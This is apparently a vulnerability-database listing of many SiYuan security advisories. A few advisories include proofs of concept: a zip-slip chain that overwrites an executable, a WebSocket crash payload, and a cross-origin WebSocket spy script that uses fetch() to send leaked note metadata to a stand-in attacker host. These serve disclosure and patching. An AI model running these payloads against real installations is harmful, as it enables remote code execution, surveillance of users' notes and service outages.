| high | any | \u2014 | SiYuan vulnerable to RCE via zip slip and Command Injection via PandocBin ### Summary
Siyuan is vulnerable to RCE. The issue stems from a "Zip Slip" vulnerability during zip file extraction, combined with the ability to overwrite system executables and subsequently trigger their execution.
### Steps to reproduce
1. Authenticate
2. Create zip slip payload with path traversal entry `../../../../opt/siyuan/startup.sh`. startup.sh contains malicious code like:
```bash
#!/bin/sh
echo 'you have been pwned' > /siyuan/workspace/data/pwned.txt
echo "pandoc 3.1.0"
```
3. Upload zip to workspace via `/api/file/putFile`
4. Extract zip via `/api/archive/unzip`, overwrites the existing executable `startup.sh` while maintaining the +x permission
5. Trigger execution by calling `/api/setting/setExport` with `pandocBin=/opt/siyuan/startup.sh`. This calls `IsValidPandocBin()` which executes `startup.sh --version` that outputs "pandoc 3.1.0" and executes any arbitrary malicious code | open | osv:GHSA-4r66-7rcv-x46x |
| high | any | 3.6.2 | SiYuan has an Unauthenticated WebSocket DoS via Auth Keepalive Bypass ## Summary
The SiYuan kernel WebSocket server accepts unauthenticated connections when a specific “auth keepalive” query parameter is present. After connection, incoming messages are parsed using unchecked type assertions on attacker-controlled JSON.
A remote attacker can send malformed messages that trigger a runtime panic, potentially crashing the kernel process and causing denial of service.
## Details
**1. Authentication Bypass via Keepalive Query**
Unauthenticated connections are accepted if the request URI matches a specific pattern intended for an authentication page keepalive.
**File: kernel/server/serve.go**
```
if !authOk {
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}
```
**2. Unsafe Type Assertions on Untrusted Input**
Incoming JSON messages are parsed into a generic map and fields are accessed without validation.
**File: kernel/server/serve.go**
```
cmdStr := request["cmd"].(string)
cmdId := request["reqId"].(float64)
param := request["param"].(map[string]interface{})
```
Malformed or missing fields trigger a runtime panic.
The handler does not implement local panic recovery, allowing crashes to propagate.
## PoC
**Step 1 — Prepare workspace directory**
```sh
mkdir -p ./workspace
```
**Step 2 — Run SiYuan container**
```
docker run -d \
-p 6806:6806 \
-e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan \
--workspace=/siyuan/workspace
```
Service becomes reachable at http://127.0.0.1:6806
**Step 3 — Confirm service availability**
Open in browser:
```sh
http://127.0.0.1:6806
```
**Step 4 — Connect to unauthenticated WebSocket endpoint**
```sh
ws://127.0.0.1:6806/ws?app=siyuan&id=auth&type=auth
```
This connection is accepted without credentials.
**Step 5 — Send malformed payload**
Payload:
```sh
{}
```
**Step 6 — Observe behavior**
Monitor container logs:
```sh
docker logs -f <container_id>
```
## Impact
An unauthenticated attacker with network access can repeatedly crash the kernel, causing persistent denial of service.
Impact is highest when the service is exposed beyond localhost (e.g., Docker deployments, reverse proxies, LAN access, or public hosting). | fixed | osv:GHSA-3g9h-9hp4-654v |
| high | any | \u2014 | SiYuan has an arbitrary file read and path traversal via /api/export/exportResources ### Summary
Siyuan's /api/export/exportResources endpoint is vulnerable to arbitary file read via path traversal. It is possible to manipulate the paths parameter to access and download arbitrary files from the host system by traversing the workspace directory structure.
### Impact
Arbitrary File Read | open | osv:GHSA-25w9-wqfq-gwqx |
| medium | any | 0.0.0-20260317012524-fe4523fff2c8 | SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel SiYuan vulnerable to remote code execution via marketplace XSS in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.1. | fixed | osv:GO-2026-4720 |
| medium | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Stored XSS to RCE via Unsanitized Attribute View Asset Cell Content in github.com/siyuan-note/siyuan/kernel SiYuan: Stored XSS to RCE via Unsanitized Attribute View Asset Cell Content in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5967 |
| medium | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Stored XSS in Bazaar marketplace via package README event handlers in github.com/siyuan-note/siyuan/kernel SiYuan: Stored XSS in Bazaar marketplace via package README event handlers in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5965 |
| medium | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Path Traversal via Double URL Encoding in /assets/*path (publish mode arbitrary file─read), Incomplete fix of CVE-2026-41894 in github.com/siyuan-note/siyuan/kernel SiYuan: Path Traversal via Double URL Encoding in /assets/*path (publish mode arbitrary file─read), Incomplete fix of CVE-2026-41894 in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5964 |
| medium | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet() in github.com/siyuan-note/siyuan/kernel SiYuan: Stored XSS to RCE via CSS-snippet <style> breakout in renderSnippet() in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5963 |
| medium | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist in github.com/siyuan-note/siyuan/kernel SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5961 |
| medium | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon in github.com/siyuan-note/siyuan/kernel SiYuan: Unauthenticated SQLite Data Exfiltration via Template Injection in /api/icon/getDynamicIcon in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5958 |
| medium | any | 0.0.0-20260628153353-2d5d72223df4 | SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML() in github.com/siyuan-note/siyuan/kernel SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML() in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5957 |
| medium | any | 0.0.0-20260407035653-2f416e5253f1 | SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering in github.com/siyuan-note/siyuan/kernel SiYuan Affected by Zero-Click NTLM Hash Theft and Blind SSRF via Mermaid Diagram Rendering in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5702 |
| medium | any | \u2014 | SiYuan: Publish Reader Path Traversal Delete via `removeUnusedAttributeView` in github.com/siyuan-note/siyuan/kernel SiYuan: Publish Reader Path Traversal Delete via `removeUnusedAttributeView` in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before 3.6.40.0.0-20260407035653-2f416e5253f1. | open | osv:GO-2026-5679 |
| medium | any | \u2014 | SiYuan: Stored XSS in Attribute View Gallery/Kanban Cover Rendering Allows Arbitrary Command Execution in Desktop Client in github.com/siyuan-note/siyuan/kernel SiYuan: Stored XSS in Attribute View Gallery/Kanban Cover Rendering Allows Arbitrary Command Execution in Desktop Client in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2. | open | osv:GO-2026-5644 |
| medium | any | 0.0.0-20260407035653-2f416e5253f1 | SiYuan: Remote Code Execution in the Electron desktop client via stored XSS in synced table captions in github.com/siyuan-note/siyuan/kernel SiYuan: Remote Code Execution in the Electron desktop client via stored XSS in synced table captions in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5540 |
| medium | any | \u2014 | SiYuan: Path Traversal via Double URL Encoding in `/export/` Endpoint (Incomplete Fix Bypass for CVE-2026-30869) in github.com/siyuan-note/siyuan/kernel SiYuan: Path Traversal via Double URL Encoding in `/export/` Endpoint (Incomplete Fix Bypass for CVE-2026-30869) in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.5. | open | osv:GO-2026-5429 |
| medium | any | 0.0.0-20260512140701-d7b77d945e0d | SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs in github.com/siyuan-note/siyuan/kernel SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5402 |
| medium | any | 0.0.0-20260512140701-d7b77d945e0d | SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode in github.com/siyuan-note/siyuan/kernel SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5370 |
| medium | any | 0.0.0-20260329142331-918d1bd9f967 | SiYuan Desktop: Stored XSS in imported .sy.zip content leads to arbitrary command execution in github.com/siyuan-note/siyuan/kernel SiYuan Desktop: Stored XSS in imported .sy.zip content leads to arbitrary command execution in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5357 |
| medium | any | \u2014 | SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark in github.com/siyuan-note/siyuan/kernel SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2. | open | osv:GO-2026-5318 |
| medium | any | 0.0.0-20260414013942-62eed37a3263 | SiYuan has incomplete fix for CVE-2026-33066: XSS in github.com/siyuan-note/siyuan/kernel SiYuan has incomplete fix for CVE-2026-33066: XSS in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5260 |
| medium | any | 0.0.0-20260407035653-2f416e5253f1 | SiYuan: Publish Reader Can Arbitrarily Delete Attribute View Files via `/api/av/removeUnusedAttributeView` in github.com/siyuan-note/siyuan/kernel SiYuan: Publish Reader Can Arbitrarily Delete Attribute View Files via `/api/av/removeUnusedAttributeView` in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5229 |
| medium | any | 0.0.0-20260330031106-f09953afc57a | SiYuan vulnerable to reflected XSS via SVG namespace prefix bypass in SanitizeSVG (getDynamicIcon, unauthenticated) in github.com/siyuan-note/siyuan/kernel SiYuan vulnerable to reflected XSS via SVG namespace prefix bypass in SanitizeSVG (getDynamicIcon, unauthenticated) in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5201 |
| medium | any | 0.0.0-20260512140701-d7b77d945e0d | SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk in github.com/siyuan-note/siyuan/kernel SiYuan: Broken access control in `/api/tag/getTag` — Reader role can mutate `Conf.Tag.Sort` and persist to disk in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-5188 |
| medium | any | \u2014 | SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection in github.com/siyuan-note/siyuan/kernel SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2. | open | osv:GO-2026-5171 |
| medium | any | \u2014 | SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution in github.com/siyuan-note/siyuan/kernel SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-5001 |
| medium | any | \u2014 | SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585) in github.com/siyuan-note/siyuan/kernel SiYuan: Electron Renderer RCE via decodeURIComponent-driven tooltip XSS in aria-label sink (incomplete fix for CVE-2026-34585) in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4993 |
| medium | any | 0.0.0-20260512140701-d7b77d945e0d | SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE in github.com/siyuan-note/siyuan/kernel SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4992 |
| medium | any | \u2014 | SiYuan has directory traversal within its publishing service in github.com/siyuan-note/siyuan/kernel SiYuan has directory traversal within its publishing service in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4843 |
| medium | any | \u2014 | SiYuan has Arbitrary Document Reading within the Publishing Service in github.com/siyuan-note/siyuan/kernel SiYuan has Arbitrary Document Reading within the Publishing Service in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4842 |
| medium | any | \u2014 | Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal in github.com/siyuan-note/siyuan/kernel Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4802 |
| medium | any | \u2014 | SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass) in github.com/siyuan-note/siyuan/kernel SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass) in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2. | open | osv:GO-2026-4766 |
| medium | any | \u2014 | SiYuan has an Unauthenticated WebSocket DoS via Auth Keepalive Bypass in github.com/siyuan-note/siyuan/kernel SiYuan has an Unauthenticated WebSocket DoS via Auth Keepalive Bypass in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.2. | open | osv:GO-2026-4752 |
| medium | any | 0.0.0-20260317012524-fe4523fff2c8 | SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata in github.com/siyuan-note/siyuan/kernel SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4747 |
| medium | any | 0.0.0-20260314111550-b382f50e1880 | SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering in github.com/siyuan-note/siyuan/kernel SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4743 |
| medium | any | \u2014 | SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service in github.com/siyuan-note/siyuan/kernel SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4722 |
| medium | any | \u2014 | SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API in github.com/siyuan-note/siyuan/kernel SiYuan: Authorization Bypass Allows Arbitrary SQL Execution via Search API in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4716 |
| medium | any | \u2014 | SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure in github.com/siyuan-note/siyuan/kernel SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4709 |
| medium | any | \u2014 | SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4707 |
| medium | any | \u2014 | SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface in github.com/siyuan-note/siyuan/kernel SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4706 |
| medium | any | \u2014 | SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets in github.com/siyuan-note/siyuan/kernel SiYuan globalCopyFiles: incomplete sensitive path blocklist allows reading /proc and Docker secrets in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4705 |
| medium | any | \u2014 | SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB in github.com/siyuan-note/siyuan/kernel SiYuan's renderSprig has a missing admin check that allows any user to read full workspace DB in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.1. | open | osv:GO-2026-4700 |
| medium | any | \u2014 | SiYuan has a Full-Read SSRF via /api/network/forwardProxy in github.com/siyuan-note/siyuan/kernel SiYuan has a Full-Read SSRF via /api/network/forwardProxy in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.6.0. | open | osv:GO-2026-4685 |
| medium | any | 0.0.0-20260310025236-297bd526708f | SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS in github.com/siyuan-note/siyuan/kernel SiYuan has a SVG Sanitizer Bypass via Whitespace in `javascript:` URI — Unauthenticated XSS in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4669 |
| medium | any | 0.0.0-20260310025236-297bd526708f | SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS in github.com/siyuan-note/siyuan/kernel SiYuan has a SVG Sanitizer Bypass via `<animate>` Element — Unauthenticated XSS in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4667 |
| medium | any | \u2014 | SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren in github.com/siyuan-note/siyuan/kernel SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4658 |
| medium | any | \u2014 | SiYuan Vulnerable to Path Traversal in /export Endpoint Allows Arbitrary File Read and Secret Leakage in github.com/siyuan-note/siyuan/kernel SiYuan Vulnerable to Path Traversal in /export Endpoint Allows Arbitrary File Read and Secret Leakage in github.com/siyuan-note/siyuan/kernel.
NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.
(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)
The additional affected modules and versions are: github.com/siyuan-note/siyuan/kernel before v3.5.10. | open | osv:GO-2026-4646 |
| medium | any | 0.0.0-20260304034809-d68bd5a79391 | SiYuan: Unauthenticated Reflected XSS via SVG Injection in /api/icon/getDynamicIcon Endpoint in github.com/siyuan-note/siyuan/kernel SiYuan: Unauthenticated Reflected XSS via SVG Injection in /api/icon/getDynamicIcon Endpoint in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4596 |
| medium | any | \u2014 | SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access in github.com/siyuan-note/siyuan/kernel SiYuan's direct SQL Query API accessible to Reader-level users enables unauthorized database access in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4592 |
| medium | any | \u2014 | SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE in github.com/siyuan-note/siyuan/kernel SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4387 |
| medium | any | \u2014 | SiYuan File Read API Case Sensitivity Bypass can Lead to Path Traversal in github.com/siyuan-note/siyuan/kernel SiYuan File Read API Case Sensitivity Bypass can Lead to Path Traversal in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2026-4386 |
| medium | any | 0.0.0-20260118092326-b2274baba2e1 | SiYuan vulnerable to Arbitrary file Read / SSRF in github.com/siyuan-note/siyuan/kernel SiYuan vulnerable to Arbitrary file Read / SSRF in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4347 |
| medium | any | 0.0.0-20260118092521-f8f4b517077b | SiYuan Vulnerable to Arbitrary File Read via File Copy Functionality in github.com/siyuan-note/siyuan/kernel SiYuan Vulnerable to Arbitrary File Read via File Copy Functionality in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4346 |
| medium | any | 0.0.0-20260118021606-5c0cc375b475 | SiYuan has a Reflected Cross-Site Scripting (XSS) via /api/icon/getDynamicIcon in github.com/siyuan-note/siyuan/kernel SiYuan has a Reflected Cross-Site Scripting (XSS) via /api/icon/getDynamicIcon in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4343 |
| medium | any | 0.0.0-20260116101155-11115da3d0de | SiYuan Has a Stored Cross-Site Scripting (XSS) Vulnerability via Unrestricted SVG File Upload in github.com/siyuan-note/siyuan/kernel SiYuan Has a Stored Cross-Site Scripting (XSS) Vulnerability via Unrestricted SVG File Upload in github.com/siyuan-note/siyuan/kernel | fixed | osv:GO-2026-4324 |
| medium | any | \u2014 | SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE in github.com/siyuan-note/siyuan/kernel SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2025-4221 |
| medium | any | \u2014 | SiYuan vulnerable to RCE via zip slip and Command Injection via PandocBin in github.com/siyuan-note/siyuan/kernel SiYuan vulnerable to RCE via zip slip and Command Injection via PandocBin in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2025-4219 |
| medium | any | \u2014 | SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2025-3362 |
| medium | any | \u2014 | SiYuan has an arbitrary file read via /api/template/render in github.com/siyuan-note/siyuan/kernel SiYuan has an arbitrary file read via /api/template/render in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2024-3327 |
| medium | any | \u2014 | SiYuan has an arbitrary file write in the host via /api/asset/upload in github.com/siyuan-note/siyuan/kernel SiYuan has an arbitrary file write in the host via /api/asset/upload in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2024-3326 |
| medium | any | \u2014 | SiYuan has an SSTI via /api/template/renderSprig in github.com/siyuan-note/siyuan/kernel SiYuan has an SSTI via /api/template/renderSprig in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2024-3324 |
| medium | any | \u2014 | SiYuan has an arbitrary file read and path traversal via /api/export/exportResources in github.com/siyuan-note/siyuan/kernel SiYuan has an arbitrary file read and path traversal via /api/export/exportResources in github.com/siyuan-note/siyuan/kernel | open | osv:GO-2024-3323 |
| medium | any | \u2014 | SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure # Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
## Summary
SiYuan's WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan&id=auth&type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.
Combined with the absence of `Origin` header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.
## Affected Component
- **File:** `kernel/server/serve.go:728-731`
- **Function:** `serveWebSocket()` → `HandleConnect` handler
- **Endpoint:** `GET /ws?app=siyuan&id=auth&type=auth` (unauthenticated)
- **Version:** SiYuan <= 3.5.9
## Root Cause
The WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:
```go
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
authOk := true
if "" != model.Conf.AccessAuthCode {
// ... normal session/JWT authentication checks ...
// authOk = false if no valid session
}
if !authOk {
// Bypass: allow connection for auth page keepalive
// 用于授权页保持连接,避免非常驻内存内核自动退出
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}
if !authOk {
s.CloseWithMsg([]byte(" unauthenticated"))
return
}
util.AddPushChan(s) // Session added to broadcast list
})
```
Three issues combine:
1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan&id=auth&type=auth` bypasses all authentication checks.
2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events — the same events sent to authenticated clients.
3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.
## Proof of Concept
**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**
### 1. Direct unauthenticated connection
```python
import asyncio, json, websockets
async def spy():
# Connect WITHOUT any authentication cookie
uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
async with websockets.connect(uri) as ws:
print("Connected without authentication!")
while True:
msg = await ws.recv()
data = json.loads(msg)
cmd = data.get("cmd")
d = data.get("data", {})
if cmd == "rename":
print(f"[LEAKED] Document renamed: {d.get('title')}")
elif cmd == "create":
print(f"[LEAKED] Document created: {d.get('path')}")
elif cmd == "renamenotebook":
print(f"[LEAKED] Notebook renamed: {d.get('name')}")
elif cmd == "removeDoc":
print(f"[LEAKED] Document deleted")
elif cmd == "transactions":
for tx in d if isinstance(d, list) else []:
for op in tx.get("doOperations", []):
if op.get("action") == "updateAttrs":
new = op.get("data", {}).get("new", {})
print(f"[LEAKED] Doc attrs: title={new.get('title')}")
asyncio.run(spy())
```
### 2. Cross-origin attack from malicious website
```html
<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");
ws.onopen = () => console.log("Connected to victim's SiYuan!");
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
// Exfiltrate document operations to attacker
fetch("https://attacker.com/collect", {
method: "POST",
body: JSON.stringify({
cmd: data.cmd,
data: data.data,
timestamp: Date.now()
})
});
};
</script>
```
### 3. Confirmed leaked events
The following events are received by the unauthenticated WebSocket:
| Event | Leaked Data |
|-------|-------------|
| `savedoc` | Document root ID, operation data |
| `transactions` | Document title, ID, attrs (new/old) |
| `create` | Document path, notebook info (name, ID) |
| `rename` | New document title, path, notebook ID |
| `renamenotebook` | New notebook name, notebook ID |
| `removeDoc` | Document deletion event |
### 4. Cross-origin connection confirmed
```python
import websockets, asyncio
async def test():
uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
extra_headers = {"Origin": "https://evil.attacker.com"}
async with websockets.connect(uri, additional_headers=extra_headers) as ws:
print("Cross-origin connection accepted!") # SUCCEEDS
asyncio.run(test())
```
**Result:** Connection succeeds — no Origin validation.
## Attack Scenario
1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance
2. Victim has `accessAuthCode` configured (server is password-protected)
3. Victim visits `attacker.com` in any browser
4. Attacker's JavaScript connects to `ws://localhost:6806/ws?app=siyuan&id=spy&type=auth`
5. WebSocket connection bypasses authentication
6. Attacker silently monitors ALL document operations in real-time:
- Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
- Notebook names ("Personal", "Work - Confidential")
- File paths and document IDs
- Create/rename/delete operations
7. Attacker builds a profile of the victim's note-taking activity without any visible indication
## Impact
- **Severity:** HIGH (CVSS ~7.5)
- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured
- Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
- Real-time information disclosure of document metadata (titles, paths, operations)
- No user interaction required beyond visiting a malicious website
- Affects both Electron desktop and Docker/server deployments
- Silent — no visible indication to the user
## Suggested Fix
### 1. Remove the URL parameter authentication bypass
```go
// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events
```
### 2. Add Origin header validation
```go
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
// Validate Origin header
origin := s.Request.Header.Get("Origin")
if origin != "" {
allowed := false
for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
if strings.HasPrefix(origin, o) {
allowed = true
break
}
}
if !allowed {
s.CloseWithMsg([]byte("origin not allowed"))
return
}
}
// ... rest of auth logic
})
```
### 3. Separate keepalive from broadcast
